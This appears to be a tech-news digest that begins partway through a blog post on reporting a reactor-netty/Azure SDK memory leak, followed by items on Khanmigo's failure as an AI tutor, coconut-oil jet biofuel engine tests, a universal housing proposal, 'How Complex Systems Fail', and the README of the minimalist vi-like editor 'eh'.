What I wanted to do here was something similar, but instead of jumping between commits, I wanted to jump between versions. So I had my reproduction code, something super simple, and then, using the exact same app, the same SDK and everything, I jumped between versions until I got to the border between one of them working and one of them not working. In my case, reactor-netty-http version 1.1.23 was clean and working, and 1.1.24 leaked. That was the issue.

4. Shrink it into a public repository. There are two reasons you want to do this. Usually when you have an issue in production, there’s a lot of private data sitting next to it that you wouldn’t necessarily want to share with everybody online. That’s the first reason. The second is that the more complex your reproduction environment is, the harder it becomes to actually pinpoint the bug. So you want to create a repository that you can share with the maintainers of the project, one that is as small as possible but still reproduces the bug.

In my case I created a Gradle project with a single test , with exact pins of the versions that started having the issue. That proves the bug without you having to trust me, and it proves that it’s not my app that is actually bugged, but rather something upstream. It later became the test that the fix was verified against, because if you have this reproduction inside of a public repository, you can always check whether it still fails after the fix has been deployed.

Report it #

5. File where the evidence points. Now comes the fun part. In my case I filed it with reactor-netty , because the bisecting between reactor-netty versions is what showed me where the bug was. I made an issue with them, but it was closed, because it wasn’t actually their fault.

They explained it to me pretty clearly, and that to me was a huge boon. I could then take that and go to the actual source of the issue, which in this case was the Azure SDK for Java. The connection between the two is that the Azure SDK is built on top of reactor-netty.

6. Do the archaeology. This part is sort of optional, but I think it adds a whole lot to a bug report. I started looking through the Azure SDK for Java tracker, wanting to see if there were any issues that referenced anything very similar to this one. The best thread turned out to be one from five months earlier , from when the 1.1.24 connection lifecycle change happened, which supposedly fixed this. To be fair, I didn’t find that one just by searching: violetagg, the reactor-netty maintainer, pointed me to it. But in a lot of cases nobody points you to it, and you need to find it yourself. Azure added a guard in a PR, so the exception went away, but the buffer kept leaking. The fix for that issue actually made the bug quieter, but it didn’t make it go away.

This gave me more information about the history of my bug, and I think that made everything move much quicker: I could make correlations between what happened in the past and what was happening currently.

7. Write the report you’d want to receive. I don’t know if you’ve ever been on the other side, receiving a report, but a lot of them are very simplistic. They don’t contain all the information that you need, and they actually waste more of your time than they help. Not everybody does their homework, and if you make a report that’s very bare-bones, it makes it extremely hard for the maintainers to help you. So if you want your issue to be fixed quickly, you want to create a report that has a lot of information in it.

In my case I had a one-sentence claim with the versions in it, everything I had found about the history, and a full trace plus a gist of logs, which I edited so it didn’t contain any information I didn’t want to share publicly. I had the three-step reproduction repository. And I also mentioned how my reproduction repository sort of cheats by forcing the garbage collector. I think that’s important to mention, because obviously in production I wouldn’t do that. My hunch was that the bug wasn’t because of that, but I wanted to make that clear before reporting it.

Nothing in creating this needs talent. It just needs time, and it needs you to understand that on the other side there’s another human that wants to help you, but they also need the information that you are more likely to have than them.

8. Be as helpful as you can in the comment section of the issue. The maintainer, Alan , just asked me a couple of questions about when it happens, whether it happens in retry situations or not. I couldn’t be sure, but I was totally honest with him and explained everything that I knew. That was enough. A day later, because he’s an actual hero, he had written a fix .

Land it #

9. Verify the fix yourself. I verified it myself, and it indeed fixed all of the issues that I had in the reproduction. It was also good to chase the release downstream. Once they got the release out there, I upgraded to it in production and turned all of the alarms back on, because we didn’t have to mute all of those leak reports anymore.


I think one of the biggest things the community misses right now is us sharing more about our experiences, and about when something good happened. We tend to talk about bad things, like bad issues, bad reporting, and bugs, and I’m part of the problem. I also write blog posts like that myself. So this post is me trying to share some more knowledge, and trying to get the community to be better.

Why Sal Khan't: On Learning by Making but Teaching by Telling

Hacker News
punyamishra.com
2026-08-23 11:59:08
Comments...
Original Article

This piece was also cross-posted on the Civics of Technology blog. This piece also has a followup post that you can find at Three Questions on Questions: On Asking, Knowing and Noticing

Two pieces crossed my feed recently, both about Sal Khan and the AI tutoring revolution that wasn’t. The first was Matt Barnum’s reported piece in Chalkbeat , where Khan himself acknowledged that Khanmigo, the AI chatbot tutor he launched three years ago with world-changing ambitions, was “a non-event” for most students. “They just didn’t use it much,” Khan said. His own Chief Learning Officer, Kristen DiCerbo, put it even more plainly: “So far I am not seeing the revolution in education.”

The second was Dan Meyer’s sharp obituary on LinkedIn, titled “ RIP Khanmigo & Edtech Industry Dreams of AI Tutors. ” Meyer traced the whole arc: the TED talk predictions, the philanthropic subsidies, the increasingly aggressive way Khanmigo inserted itself into the student experience (because students wouldn’t seek it out voluntarily), and the steadily shrinking user projections. His conclusion was blunt: if Khanmigo died with every advantage in the world (early OpenAI access, Microsoft backing, government subsidies, Sal Khan’s Rolodex), what hope should the rest of the edtech industry place in chatbot tutors?

These are important pieces, and I’d recommend reading both. But reading them, I found myself thinking about a deeper question. Not whether the revolution failed (it clearly did) but why it was never going to work in the first place.

To explain I have to go back a bit in time, back during my days at MSU, when I was out there giving talks about technology integration and the critical role played by the teacher in this entire process. And further about the significance of students actively constructing representations of their understanding.

So in these talks I used to show a clip from the Charlie Rose show (see below). It’s an interview where Khan describes how he prepares to teach a new topic. And it’s wonderful. Here’s Khan on learning about, say, Napoleon and the French Revolution:

“I approach it from what my brain would like to see… I like to see a scaffold, I like to see a map… what is the Holy Roman Empire, like where, what is that now?”

He reads Wikipedia first, “just to get the scaffold.” He draws timelines. He copies maps and pastes them onto his digital blackboard. And then he does something genuinely important: he pushes past the surface until he hits the questions that textbooks skip. Here’s Khan on the neuron:

“A biology book will tell you okay the signal goes across because there’s a myelin sheath and I’m like yeah but how does putting a little tissue around a neuron, how does it make the signal go faster? And no biology book will tell you that answer.”

So what does he do? He ponders. He thinks it through by analogy (fiber optics, signal amplification). And then he calls up friends who are biologists or communications engineers and asks: “Does this make sense?” Sometimes they confirm his intuition. And sometimes, beautifully, they say: “You know what, we don’t know.” Khan’s response to that is perfect: “Why didn’t the book tell me that?”

I used to play this clip and then ask the audience a simple question: Look at everything Sal Khan does to learn something. He reads widely. He scaffolds. He draws. He questions. He calls friends. He argues. He makes connections across fields. He builds intuitive understanding from the ground up. And then he builds something to capture all that he had learned to share with others.

Now… how does Sal Khan want my kid to learn?

Watch a video.

The room always got it immediately.

Because nobody in that room would accept that for themselves. We all know, intuitively, that watching someone else explain something is not the same as understanding it. We would never settle for that as learners. And yet, somehow, we accept it as a solution for other people’s children. This is a version of a phenomenon that I have written about earlier: The reductive seduction of other people’s problems .


But there’s a second layer that I think is even more important, and that neither the Chalkbeat piece nor Meyer’s critique quite names. Khan’s personal learning wasn’t just active. It had a purpose. He was learning in order to make something. The video was his construction, his artifact, the thing he was building. That’s what pulled him through the hard parts, through the myelin sheath question and the calls to friends and the hours of immersion. He had a destination.

Students watching the video have no such destination. They’re receiving the product of someone else’s learning process. And when Khanmigo came along, the revolution was… a chatbot to help you receive more efficiently. Still no purpose. Still no making. Still no reason to push through difficulty. No wonder DiCerbo reported seeing more “IDK IDK” than substantive engagement. No wonder teachers at early-adopter schools found that students “didn’t really care for the bot.” Why would they? There was nothing at stake for them.

This is where John Dewey, writing over a century ago, becomes useful. Dewey argued that learning is built on four natural impulses: the impulse to inquire , to construct , to express , and to communicate . He saw these not as skills to be taught but as drives already present in every learner, drives that education should work with rather than suppress.

Go back to the Charlie Rose clip and watch Khan through this lens. He is living all four. Inquire : the relentless “why” questions, the refusal to accept surface explanations, the “why didn’t the book tell me that?” Construct : the timelines, the maps, the blackboard drawings, the scaffolds he builds for himself. Express : the video itself, Khan giving form to what he’s understood. Communicate : calling up buddies, testing his ideas against other minds, discovering together what is and isn’t known. And then building a representation of his learning, with his own unique voice and style, and sharing it with the world. Inquiry, construction, communication and expression—all in one go! Intermingled so well that it is difficult to tell them apart.

All four impulses, firing beautifully.

And none of them available to the student on the other end.

Khan’s great error, I think, was not a failure of effort or sincerity. It was a failure of educational imagination. He experienced the full richness of learning and then designed a system that offered students only the residue. He gave them the destination without the journey. And because the journey is where motivation lives, where purpose lives, students quite reasonably declined the offer. First they declined the video (or rather, passively consumed it). Then they declined the chatbot. In both cases, the diagnosis was the same: nobody had given them a reason to care.

And this is what I think the edtech world keeps getting wrong. The assumption is that if you can deliver the right content, in the right way, at the right time, learning will follow. It won’t. Not without purpose. Not without the impulse to inquire, construct, express, and communicate. Not without, in Dewey’s sense, the learner actually doing something.

Teachers know this. It is, in fact, a large part of what teachers do: take something a student is not yet interested in and create the conditions that make them interested. Not through tricks or gamification but through the design of experiences that activate those Deweyan impulses. That is the work. And it is work that no video, and no chatbot, has figured out how to do.

I’ve written recently about how evolution’s answer to an unpredictable world was not “more data” but play, and about how children are optimized not for pattern-completion but for exploration. The connection to the Khan story is direct. Khan Academy, and then Khanmigo, are both autocomplete strategies: one autocompletes explanation, the other autocompletes tutoring. Neither makes room for the exploration, the construction, the messy purposeful making that is where learning actually happens.

Khan himself seems to have arrived at something close to this realization. “I think our biggest lever is really investing in the human systems,” he told Barnum. That’s a remarkable sentence from someone who has spent nearly two decades trying to improve education by routing around the humans. Whether his benefactors in the technology industry will be as excited to invest in human systems as they have been in software that tries to replace them… that remains to be seen.


Endnote: I don’t usually bring TPACK into my blog posts. I mean, how much weight can a Venn diagram carry? But this might be the cleanest case I’ve ever seen. Khan has technology knowledge in spades. He clearly has deep content knowledge (that Charlie Rose clip is proof enough). What he has never had is pedagogical knowledge: an understanding of how people learn, what motivates them, what makes the difference between someone who pushes through difficulty and someone who types “IDK.” The circle marked P in the Venn diagram. That is where the humans live. Content and Technology mean nothing without that.

Coconut Oil Jet Fuel Matches Kerosene's Efficiency in Engine Tests

Hacker News
studyfinds.com
2026-08-23 11:50:18
Comments...
Original Article

Coconut oil

(Credit: Photo by Yuriy Ivanovskiyo on Shutterstock)

In a Nutshell

  • Coconut oil-derived biofuel blended with standard jet fuel achieved thermal efficiency comparable to pure jet fuel in engine testing.
  • Higher biofuel blend ratios reduced unburned hydrocarbon emissions, which researchers linked partly to the biofuels containing none of the aromatic compounds found in conventional kerosene.
  • Carbon dioxide concentrations in the exhaust stayed level with pure kerosene across all blends tested.

Coconut oil has long had a place in kitchens and beauty products, but researchers are now making a serious case for putting it in jet engines. New research found that aviation biofuel made from coconut oil can power a small jet engine about as efficiently as traditional jet fuel, with lower unburned hydrocarbon emissions, though the blends burn more fuel and emit slightly more carbon monoxide.

Aviation accounts for a meaningful share of global carbon dioxide emissions , and pressure on the industry to find cleaner fuel options has intensified in recent years. The International Civil Aviation Organization has identified sustainable aviation fuel, commonly called SAF, as the single most effective strategy available for cutting aviation’s carbon footprint. But many current methods for producing SAF are themselves energy-hungry and costly, which chips away at the environmental benefit. The new study, published in the journal Fuel , zeroes in on a production approach designed to sidestep that problem entirely, using a technique that requires far less energy to make the fuel in the first place.

Researchers at Osaka Metropolitan University tested biofuels made from coconut oil through what they call a “co-solvent method,” a process that mixes acetone with alcohol and coconut oil to produce high-purity biofuel without the intense heat and pressure required by conventional production methods. Rather than stopping at production, the team took the next step and burned the fuel in a small jet engine, measuring both engine performance and exhaust emissions.

A Greener Way to Make Coconut Oil Jet Fuel

Most SAF production routes involve intense industrial processes, including high-temperature refining steps that drain energy out of the fuel’s lifecycle before a single flight takes place. The co-solvent method works differently. By adding acetone to a mixture of alcohol and coconut oil, normally incompatible liquids blend uniformly and react completely at relatively low temperatures, producing biofuel with purity levels exceeding 97%.

Coconut itself offers a practical advantage as a raw material. Roughly 30% of the coconut is discarded after extracting its internal moisture during processing. This study used oil from material the researchers describe as discarded and non-edible, including the large seeds and leftover flesh, so the fuel draws on parts of the crop that would otherwise go to waste. The process also produces biodiesel suitable for vehicles and marine vessels, plus high-quality glycerin as a byproduct.

Two types of biofuel were produced and tested: one made using methanol and another made using ethanol . Both are plant-based fuels commonly studied for diesel engines , but this research examined their behavior in a jet engine, a question that has received comparatively little scientific attention.

Inside the Engine: How Coconut Oil Jet Fuel Actually Performs

Researchers tested the fuel in a small commercial jet engine capable of reaching speeds up to 130,000 rotations per minute. Researchers blended the biofuels with conventional kerosene at ratios of 10%, 30%, and 50% biofuel by volume, then ran the engine across a range of speeds. Measurements included fuel consumption , engine efficiency, and exhaust concentrations of four pollutants: unburned hydrocarbons, carbon monoxide, carbon dioxide, and nitric oxide.

In terms of fuel efficiency, the biofuel blends required more fuel to produce the same amount of thrust. At 80,000 rotations per minute, a 50% methanol-based blend consumed about 16.8% more fuel than pure kerosene, while the ethanol-based version consumed about 19.6% more. This is largely because the biofuels carry less energy per kilogram than kerosene, so more must be burned to maintain the same output level.

Despite burning more fuel by weight, the blends converted heat into usable work at rates comparable to pure kerosene. At 100,000 rotations per minute, the thermal efficiency of the highest biofuel blend differed from pure kerosene by a small margin, and thrust output remained consistent across all blend ratios tested.

Coconut oil biofuel infographic showing micro jet engine performance, emissions, fuel use, and barriers to commercial aviation.
Infographic by StudyFinds

What Comes Out of the Exhaust

Emissions are where coconut oil-based jet fuel shows some of its most encouraging results. Increasing the proportion of biofuel in the blend consistently reduced unburned hydrocarbon emissions . At a 50% blend ratio, hydrocarbon concentrations in the exhaust dropped by roughly 5% to 40% compared to pure kerosene, depending on engine speed. Researchers said the drop was likely tied in part to fuel composition, since the coconut-derived biofuels contain none of the ring-shaped, aromatic hydrocarbon molecules present in conventional jet fuel.

Carbon dioxide emissions remained at levels consistent with pure kerosene across all blending ratios tested. While higher biofuel content increased total fuel consumption, the CO2 in the exhaust did not rise proportionally. Researchers say that pattern may point to some unburned biofuel leaving the engine, a question they flagged for future investigation.

Carbon monoxide emissions, a product of incomplete combustion, did increase modestly at higher blend ratios. A 50% blend produced roughly 3% to 17% more carbon monoxide than pure kerosene depending on engine speed. Researchers linked this to the biofuels being harder to ignite than kerosene and carrying less energy, both of which can create fuel-rich zones inside the combustion chamber where oxygen runs short.

Nitric oxide emissions, which can contribute to ozone depletion at high altitudes, were broadly comparable between the biofuel blends and pure kerosene. A 30% methanol-based blend showed nitric oxide concentrations 20% to 30% lower than pure kerosene across all operating conditions tested, a result the authors say requires further study to fully explain.

Challenges Still Ahead for Coconut Oil Jet Fuel

Several practical hurdles stand between this biofuel and routine use in aircraft. Coconut-derived biofuels absorb atmospheric moisture during storage, are susceptible to gradual oxidation over time, and can cause slight corrosion of metal components. Stainless steel exposed to the methanol-based version showed signs of rust after one to two weeks. The authors note that extended testing over months to years is needed, and that antioxidant additives and better-sealed storage containers are worth investigating.

Oxygen content in the biofuels also falls outside current international certification standards for aviation fuel, meaning additional chemical processing would be required before these fuels could fly in commercial aircraft . A hydrogenation treatment could bring oxygen levels into compliance, though the researchers acknowledge that process would reduce fuel yield.

Coconut oil-derived biofuel is not a ready swap for conventional jet fuel yet, but the performance data from this study makes a real argument that the concept is worth pursuing. If the production advantages hold up and the remaining fuel-quality problems can be solved, coconut oil could become one more candidate in aviation’s search for lower-impact fuel, one rooted in a tropical nut.


Paper Notes

Limitations

This study used a small-scale micro jet engine rather than a full-size commercial aircraft engine, so results may not directly translate to larger propulsion systems. Exhaust gas measurements were taken 30 millimeters downstream from the engine nozzle exit, and the researchers acknowledge that ambient air may have diluted the sampled gases, potentially affecting measurement accuracy. The study also did not measure certain toxic compounds, specifically polycyclic aromatic hydrocarbons, which the authors identify as a priority for future research. The study did not complete long-term testing of fuel storage stability and material corrosion, which would require months to years of observation. Oxygen content in both biofuels falls outside current international aviation fuel standards. Additionally, the turbine inlet temperature measurements carried uncertainty due to steep temperature gradients inside the engine, and the relatively low nitric oxide concentrations measured may benefit from validation using higher-precision analytical methods in future work.

Funding and Disclosures

This work was supported by an Osaka City Innovation Support Grant. The corresponding author, Shinichiro Ogawa, disclosed an employment relationship with Osaka Metropolitan University. All other authors declared no known competing financial interests or personal relationships that could have influenced the work.

Publication Details

Authors: Shinichiro Ogawa, Takuto Hongo, Yasuaki Maeda, Huynh Phuong Uyen Nguyen, and Koichi Mori, all affiliated with Osaka Metropolitan University, Sakai, Osaka, Japan.

Journal: Fuel , Volume 428 (2027), Article 140208, published by Elsevier.

Paper Title: “Combustion and emission characteristics of aviation biofuel derived from coconut oil using the co-solvent method: toward eco-friendly micro jet engines”

DOI: 10.1016/j.fuel.2026.140208

Received: January 9, 2025. Accepted: June 2, 2026. Available online: June 8, 2026.

Called "brilliant," "fantastic," and "spot on" by scientists and researchers, our acclaimed StudyFinds Analysis articles are created using an exclusive AI-based model with complete human oversight by the StudyFinds Editorial Team. For these articles, we use an unparalleled LLM process across multiple systems to analyze entire journal papers, extract data, and create accurate, accessible content. Our writing and editing team proofreads and polishes each and every article before publishing. With recent studies showing that artificial intelligence can interpret scientific research as well as (or even better) than field experts and specialists, StudyFinds was among the earliest to adopt and test this technology before approving its widespread use on our site. We stand by our practice and continuously update our processes to ensure the very highest level of accuracy. Read our AI Policy (link below) for more information.

Our Editorial Team

Steve Fink

Editor-in-Chief

John Anderer

Associate Editor

Universal Housing

Hacker News
twitter.com
2026-08-23 11:24:43
Comments...
Original Article

Thought experiment I discussed with my family at the dinner table: What if we completely redesign housing: making it a universal right, while keeping market-like mechanisms for creating and improving it? • Every citizen has the right to live in one home, for free • All residential land ultimately belongs to the country • The country must always keep at least 10% of homes/plots available, creating real choice and mobility • Anyone can take an available plot, pay to build a house on it, and live there for life • You can spend as much as you want building and improving your home, but you can’t accumulate houses as investments • When you leave or die, your family gets first preference to use the house • If nobody wants it, it returns to the public pool • For desirable homes or plots, anyone can apply during a fixed period. If demand exceeds supply, the new resident is chosen by lottery, regardless of income, wealth or status • Free use comes with responsibility: whoever occupies a home must keep it in excellent condition and cover its ongoing maintenance costs. If you can’t afford to properly maintain a particular home, you can’t occupy it • Non-citizens can rent, with the rent flowing back into the system • Taxes fund the shared housing stock and infrastructure The interesting part is that markets don’t disappear. Builders, architects and suppliers still compete. People still spend money building better homes. What disappears is residential land as an investment. Capital has to go somewhere else: companies, startups, stocks, infrastructure, commercial real estate. Instead of competing to own scarce residential land, capital competes to create value. You can invest unlimited money in the quality of your home. You just can’t invest in the scarcity of someone else’s. Maybe call it Universal Housing: Housing is a right. Building remains a market. Scarcity can’t be owned. Would it work? And if not, what breaks first?

How Complex Systems Fail

Hacker News
how.complexsystems.fail
2026-08-23 11:13:31
Comments...
Original Article
  • Complex systems are intrinsically hazardous systems.

    All of the interesting systems (e.g. transportation, healthcare, power generation) are inherently and unavoidably hazardous by the own nature. The frequency of hazard exposure can sometimes be changed but the processes involved in the system are themselves intrinsically and irreducibly hazardous. It is the presence of these hazards that drives the creation of defenses against hazard that characterize these systems.

  • Complex systems are heavily and successfully defended against failure

    The high consequences of failure lead over time to the construction of multiple layers of defense against failure. These defenses include obvious technical components (e.g. backup systems, ‘safety’ features of equipment) and human components (e.g. training, knowledge) but also a variety of organizational, institutional, and regulatory defenses (e.g. policies and procedures, certification, work rules, team training). The effect of these measures is to provide a series of shields that normally divert operations away from accidents.

  • Catastrophe requires multiple failures – single point failures are not enough.

    The array of defenses works. System operations are generally successful. Overt catastrophic failure occurs when small, apparently innocuous failures join to create opportunity for a systemic accident. Each of these small failures is necessary to cause catastrophe but only the combination is sufficient to permit failure. Put another way, there are many more failure opportunities than overt system accidents. Most initial failure trajectories are blocked by designed system safety components. Trajectories that reach the operational level are mostly blocked, usually by practitioners.

  • Complex systems contain changing mixtures of failures latent within them.

    The complexity of these systems makes it impossible for them to run without multiple flaws being present. Because these are individually insufficient to cause failure they are regarded as minor factors during operations. Eradication of all latent failures is limited primarily by economic cost but also because it is difficult before the fact to see how such failures might contribute to an accident. The failures change constantly because of changing technology, work organization, and efforts to eradicate failures.

  • Complex systems run in degraded mode.

    A corollary to the preceding point is that complex systems run as broken systems. The system continues to function because it contains so many redundancies and because people can make it function, despite the presence of many flaws. After accident reviews nearly always note that the system has a history of prior ‘proto-accidents’ that nearly generated catastrophe. Arguments that these degraded conditions should have been recognized before the overt accident are usually predicated on naïve notions of system performance. System operations are dynamic, with components (organizational, human, technical) failing and being replaced continuously.

  • Catastrophe is always just around the corner.

    Complex systems possess potential for catastrophic failure. Human practitioners are nearly always in close physical and temporal proximity to these potential failures – disaster can occur at any time and in nearly any place. The potential for catastrophic outcome is a hallmark of complex systems. It is impossible to eliminate the potential for such catastrophic failure; the potential for such failure is always present by the system’s own nature.

  • Post-accident attribution to a ‘root cause’ is fundamentally wrong.

    Because overt failure requires multiple faults, there is no isolated ‘cause’ of an accident. There are multiple contributors to accidents. Each of these is necessarily insufficient in itself to create an accident. Only jointly are these causes sufficient to create an accident. Indeed, it is the linking of these causes together that creates the circumstances required for the accident. Thus, no isolation of the ‘root cause’ of an accident is possible. The evaluations based on such reasoning as ‘root cause’ do not reflect a technical understanding of the nature of failure but rather the social, cultural need to blame specific, localized forces or events for outcomes. 1

    1 Anthropological field research provides the clearest demonstration of the social construction of the notion of ‘cause’ (cf. Goldman L (1993), The Culture of Coincidence: accident and absolute liability in Huli, New York: Clarendon Press; and also Tasca L (1990), The Social Construction of Human Error, Unpublished doctoral dissertation, Department of Sociology, State University of New York at Stonybrook)

  • Hindsight biases post-accident assessments of human performance.

    Knowledge of the outcome makes it seem that events leading to the outcome should have appeared more salient to practitioners at the time than was actually the case. This means that ex post facto accident analysis of human performance is inaccurate. The outcome knowledge poisons the ability of after-accident observers to recreate the view of practitioners before the accident of those same factors. It seems that practitioners “should have known” that the factors would “inevitably” lead to an accident. 2 Hindsight bias remains the primary obstacle to accident investigation, especially when expert human performance is involved.

    2 This is not a feature of medical judgements or technical ones, but rather of all human cognition about past events and their causes.

  • Human operators have dual roles: as producers & as defenders against failure.

    The system practitioners operate the system in order to produce its desired product and also work to forestall accidents. This dynamic quality of system operation, the balancing of demands for production against the possibility of incipient failure is unavoidable. Outsiders rarely acknowledge the duality of this role. In non-accident filled times, the production role is emphasized. After accidents, the defense against failure role is emphasized. At either time, the outsider’s view misapprehends the operator’s constant, simultaneous engagement with both roles.

  • All practitioner actions are gambles.

    After accidents, the overt failure often appears to have been inevitable and the practitioner’s actions as blunders or deliberate willful disregard of certain impending failure. But all practitioner actions are actually gambles, that is, acts that take place in the face of uncertain outcomes. The degree of uncertainty may change from moment to moment. That practitioner actions are gambles appears clear after accidents; in general, post hoc analysis regards these gambles as poor ones. But the converse: that successful outcomes are also the result of gambles; is not widely appreciated.

  • Actions at the sharp end resolve all ambiguity.

    Organizations are ambiguous, often intentionally, about the relationship between production targets, efficient use of resources, economy and costs of operations, and acceptable risks of low and high consequence accidents. All ambiguity is resolved by actions of practitioners at the sharp end of the system. After an accident, practitioner actions may be regarded as ‘errors’ or ‘violations’ but these evaluations are heavily biased by hindsight and ignore the other driving forces, especially production pressure.

  • Human practitioners are the adaptable element of complex systems.

    Practitioners and first line management actively adapt the system to maximize production and minimize accidents. These adaptations often occur on a moment by moment basis. Some of these adaptations include: (1) Restructuring the system in order to reduce exposure of vulnerable parts to failure. (2) Concentrating critical resources in areas of expected high demand. (3) Providing pathways for retreat or recovery from expected and unexpected faults. (4) Establishing means for early detection of changed system performance in order to allow graceful cutbacks in production or other means of increasing resiliency.

  • Human expertise in complex systems is constantly changing

    Complex systems require substantial human expertise in their operation and management. This expertise changes in character as technology changes but it also changes because of the need to replace experts who leave. In every case, training and refinement of skill and expertise is one part of the function of the system itself. At any moment, therefore, a given complex system will contain practitioners and trainees with varying degrees of expertise. Critical issues related to expertise arise from (1) the need to use scarce expertise as a resource for the most difficult or demanding production needs and (2) the need to develop expertise for future use.

  • Change introduces new forms of failure.

    The low rate of overt accidents in reliable systems may encourage changes, especially the use of new technology, to decrease the number of low consequence but high frequency failures. These changes maybe actually create opportunities for new, low frequency but high consequence failures. When new technologies are used to eliminate well understood system failures or to gain high precision performance they often introduce new pathways to large scale, catastrophic failures. Not uncommonly, these new, rare catastrophes have even greater impact than those eliminated by the new technology. These new forms of failure are difficult to see before the fact; attention is paid mostly to the putative beneficial characteristics of the changes. Because these new, high consequence accidents occur at a low rate, multiple system changes may occur before an accident, making it hard to see the contribution of technology to the failure.

  • Views of ‘cause’ limit the effectiveness of defenses against future events.

    Post-accident remedies for “human error” are usually predicated on obstructing activities that can “cause” accidents. These end-of-the-chain measures do little to reduce the likelihood of further accidents. In fact that likelihood of an identical accident is already extraordinarily low because the pattern of latent failures changes constantly. Instead of increasing safety, post-accident remedies usually increase the coupling and complexity of the system. This increases the potential number of latent failures and also makes the detection and blocking of accident trajectories more difficult.

  • Safety is a characteristic of systems and not of their components

    Safety is an emergent property of systems; it does not reside in a person, device or department of an organization or system. Safety cannot be purchased or manufactured; it is not a feature that is separate from the other components of the system. This means that safety cannot be manipulated like a feedstock or raw material. The state of safety in any system is always dynamic; continuous systemic change insures that hazard and its management are constantly changing.

  • People continuously create safety.

    Failure free operations are the result of activities of people who work to keep the system within the boundaries of tolerable performance. These activities are, for the most part, part of normal operations and superficially straightforward. But because system operations are never trouble free, human practitioner adaptations to changing conditions actually create safety from moment to moment. These adaptations often amount to just the selection of a well-rehearsed routine from a store of available responses; sometimes, however, the adaptations are novel combinations or de novo creations of new approaches.

  • Failure free operations require experience with failure.

    Recognizing hazard and successfully manipulating system operations to remain inside the tolerable performance boundaries requires intimate contact with failure. More robust system performance is likely to arise in systems where operators can discern the “edge of the envelope”. This is where system performance begins to deteriorate, becomes difficult to predict, or cannot be readily recovered. In intrinsically hazardous systems, operators are expected to encounter and appreciate hazards in ways that lead to overall performance that is desirable. Improved safety depends on providing operators with calibrated views of the hazards. It also depends on providing calibration about how their actions move system performance towards or away from the edge of the envelope.

  • eh: a minimalist vi-like editor

    Lobsters
    codeberg.org
    2026-08-23 11:10:59
    eh is a minimalist vi-like editor written in C. It keeps the core vi editing model while adding UTF-8 support, regex search/replace, shell filters, and multi-level undo/redo. An earlier version was a winning entry in the 28th IOCCC (2024), receiving the “Nice accent eh-ward.” Comments...
    Original Article

    eh screen capture
    Primary Repository https://codeberg.org/SirWumpus/eh

    eh(1)

    Name

    eh - Edit Here - vi(1) the good parts version
    

    Synopsis

    eh [filename]
    

    Description

    A minimalist version of vi(1) . It is an example of the "Buffer Gap" method outlined in the The Craft Of Text Editing used by many Emacs style editors. (Yep I mixed vi and emacs in the same paragraph; I'm going to hell for that one.)

    Create or read a text file to edit. Text files consists of lines of printable UTF-8 text, tabs, or newline characters. A physical line can be of arbitrary length and is delimited by either a newline or the end of file. Tab stops are every eight columns. The behaviour of non-printable characters may vary depending on the implementation of the Curses library, stty(1) settings, or terminal emulator.

    Commands

    The commands are similar, but not the same as vi(1) . Most commands can be prefixed by a repeat count, eg. 5w , 123G , 2dw ( d2w ), or 2d3w ( d6w ). Motion commands, optionally prefixed by a count, are those that move the cursor without modifying the buffer. Some edit commands can be followed by a motion.

    • h j k l Left, down, up, right cursor movement.
    • H J K L Page top, page down, page up, page bottom.
    • ^F ^B Page down (forward), page up (back).
    • b e w Word left, word end, word right.
    • { } Paragraph up, paragraph down.
    • ^ $ Start and end of line, ie. 0| or 999| .
    • | Goto column (count) of physical line.
    • % * Find matching brace, bracket, square bracket, or angle bracket.
    • /ERE /ERE/ Find first occurrence of ERE pattern after the cursor.
    • /ERE/REPL /ERE/REPL/ Find ERE and replace. In the REPL , a $n where n is a digit 0..9 is replaced by the Nth subexpression of the matched text; $0 is the whole matched text. \x is an escape sequence, ie. \a \b \e \f \n \r \t \? or x .
    • /ERE/REPL/a Find and replace all occurences.
    • m char Set a positional mark letter a..z .
    • n Find next occurrence of ERE (and replace); u undoes only the most recent replacement.
    • ` char Goto position of mark `a .. `z or `` (previous).
    • ' char * Goto start of line with mark 'a .. 'z or '' (previous), eg. `a^ .
    • G Goto line (count) number; 1G top of file, G bottom, 123G line 123.
    • \ Toggle highlighted text selection.
    • c move Change text selection or region given by motion. If motion is c repeated, then change lines.
    • C * Change to end of line, ie. c$ .
    • d move Delete text selection or region given by motion. If motion is d repeated, then delete lines.
    • D * Delete to end of line, ie. d$ .
    • O o * Open new line above or below the current line, ie. kA\n or A\n .
    • y move Yank (copy) text selection or region given by motion. If motion is y repeated, then yank lines.
    • Y * Yank the current line, ie. ^yj .
    • P p Paste last deleted or yanked text region before or after the cursor.
    • i a Insert text mode before or after the cursor, ESC or CTRL+C ends insert. While inserting text, backspace will erase the previous character; CTRL+U for erase input; CTRL+V treats the next character as a literal character; CTRL+W erases the previous word.
    • I A * Insert at start of line or append at end of line, ie. ^i or $i .
    • X x Delete character before or after cursor, ie. dh or dl .
    • U u Redo or undo one or more edits.
    • < move Outdent lines spanned by a text selection or region given by motion. If motion is < repeated, then outdent lines.
    • > move Indent lines spanned by a text selection or region given by motion. If motion is > repeated, then indent lines.
    • ~ Invert character case.
    • ! move cmd Filter a text selection or region through shell command line, eg. !Gfmt -w68 . Or read only the output of a shell command line, eg. !!ls -l .
    • CTRL+X Toggle hex digits in the range 0..10FFFF or a Unicode character left of the cursor.
    • E Reset buffer and edit a file.
    • R Read a file into buffer after cursor.
    • W Write buffer to file.
    • V Show build and version.
    • CTRL+R Redraw the screen.
    • CTRL+C Quit.
    • Q Quit.

    Environment

    • SHELL : The user's shell of choice.

    • TERM : The user's terminal type. If the environmental variable TERM is not set or insufficient then terminate with non-zero exit status.

    • TERMINFO : The absolute file path of a terminfo database. See terminfo(5) .

    Exit Status

    • 0 Success
    • 1 Insufficient capabilities for TERM .
    • 2 Read file error

    See Also

    ed(1) , ex(1) , vi(1)

    Notes

    • Has UTF-8 support.

      • Loads UTF-8 files as-is and internally remains UTF-8 (not converteed to wchar_t or char32_t ).
      • UTF-8 input will likely require an intl. keyboard or enabling US Intl. dead-key keyboard support. See also Unicode Input .
    • The display of long physical lines that are larger than the terminal screen is untested, so considered undefined.

    • Control characters, other than TAB and LF, are displayed as highlighted alphabetic characters.

    • u and U do not behave as in historical vi(1) ; they now provide multi undo and redo respectively.

    • CRLF newlines (DOS, Windows) should be converted to LF newlines Consider converting newlines using SUS tools like awk(1) or sed(1) :

        $ sed -e's/^V^M$//' dos.txt > unix.txt
        $ sed -e's/$/^V^M/' unix.txt > dos.txt
      

      ^V is the default stty(1) insert literal prefix key.

    • Cygwin builds may be bugged with respect to wcwidth() , since wchar_t reflects UTF-16 to match Windows and there is no equivalent c32width() nor means to determine cell width of surrogate pairs, such as emoji.
